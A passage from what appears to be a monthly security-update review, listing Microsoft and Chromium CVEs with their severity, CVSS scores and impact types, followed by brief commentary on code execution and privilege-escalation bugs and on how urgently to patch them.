  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25165"><span><span> </span>CVE-2026-25165<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Performance Counters for Windows Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24282"><span><span> </span>CVE-2026-24282<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Push message Routing Service Elevation of
  Privilege Vulnerability</td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26115"><span><span> </span>CVE-2026-26115<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26116"><span><span> </span>CVE-2026-26116<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20967"><span><span> </span>CVE-2026-20967<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>System Center Operations Manager (SCOM)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24285"><span><span> </span>CVE-2026-24285<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Win32k Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24291"><span><span> </span>CVE-2026-24291<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25186"><span><span> </span>CVE-2026-25186<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Information Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"><span><span> </span>CVE-2026-23660 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Admin Center in Azure Portal
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24293"><span><span> </span>CVE-2026-24293<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25176"><span><span> </span>CVE-2026-25176<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25178"><span><span> </span>CVE-2026-25178<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25179"><span><span> </span>CVE-2026-25179<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23656"><span><span> </span>CVE-2026-23656<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows App Installer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25171"><span><span> </span>CVE-2026-25171<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Authentication Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23671"><span><span> </span>CVE-2026-23671<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Bluetooth RFCOM Protocol Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24292"><span><span> </span>CVE-2026-24292<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24295"><span><span> </span>CVE-2026-24295<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24296"><span><span> </span>CVE-2026-24296<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25189"><span><span> </span>CVE-2026-25189<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows DWM Core Library Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25174"><span><span> </span>CVE-2026-25174<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Extensible File Allocation Table
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25168"><span><span> </span>CVE-2026-25168<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25169"><span><span> </span>CVE-2026-25169<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><span><span> </span>CVE-2026-23668<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25180"><span><span> </span>CVE-2026-25180<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25170"><span><span> </span>CVE-2026-25170<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Hyper-V Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24297"><span><span> </span>CVE-2026-24297<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kerberos Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"><span><span> </span>CVE-2026-24287<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24289"><span><span> </span>CVE-2026-24289<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26132"><span><span> </span>CVE-2026-26132<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24288"><span><span> </span>CVE-2026-24288<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Mobile Broadband Driver Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25175"><span><span> </span>CVE-2026-25175<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows NTFS Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><span><span> </span>CVE-2026-23669<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Print Spooler Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24290"><span><span> </span>CVE-2026-24290<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Projected File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23673"><span><span> </span>CVE-2026-23673<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Resilient File System (ReFS)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25172"><span><span> </span>CVE-2026-25172<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25173"><span><span> </span>CVE-2026-25173<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26111"><span><span> </span>CVE-2026-26111<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25185"><span><span> </span>CVE-2026-25185<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Shell Link Processing Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.3</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294"><span><span> </span>CVE-2026-24294<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26128"><span><span> </span>CVE-2026-26128<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25166"><span><span> </span>CVE-2026-25166<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows System Image Manager Assessment and
  Deployment Kit (ADK) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25188"><span><span> </span>CVE-2026-25188<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Telephony Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23672"><span><span> </span>CVE-2026-23672<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Universal Disk Format File System
  Driver (UDFS) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"><span><span> </span>CVE-2026-25187<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Winlogon Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3536"><span><span> </span>CVE-2026-3536 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3536 Integer overflow in
  ANGLE<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3538"><span><span> </span>CVE-2026-3538 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3538 Integer overflow in
  Skia<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3539"><span><span> </span>CVE-2026-3539 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3539 Object lifecycle
  issue in DevTools<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3540"><span><span> </span>CVE-2026-3540 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3540 Inappropriate
  implementation in WebAudio<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3541"><span><span> </span>CVE-2026-3541 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3541 Inappropriate
  implementation in CSS<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3542"><span><span> </span>CVE-2026-3542 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3542 Inappropriate
  implementation in WebAssembly<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3543"><span><span> </span>CVE-2026-3543 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3543 Inappropriate
  implementation in V8<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3544"><span><span> </span>CVE-2026-3544 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3544 Heap buffer overflow
  in WebCodecs<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3545"><span><span> </span>CVE-2026-3545 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3545 Insufficient data
  validation in Navigation<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.</p><p class="">Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.</p><p class="">Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker 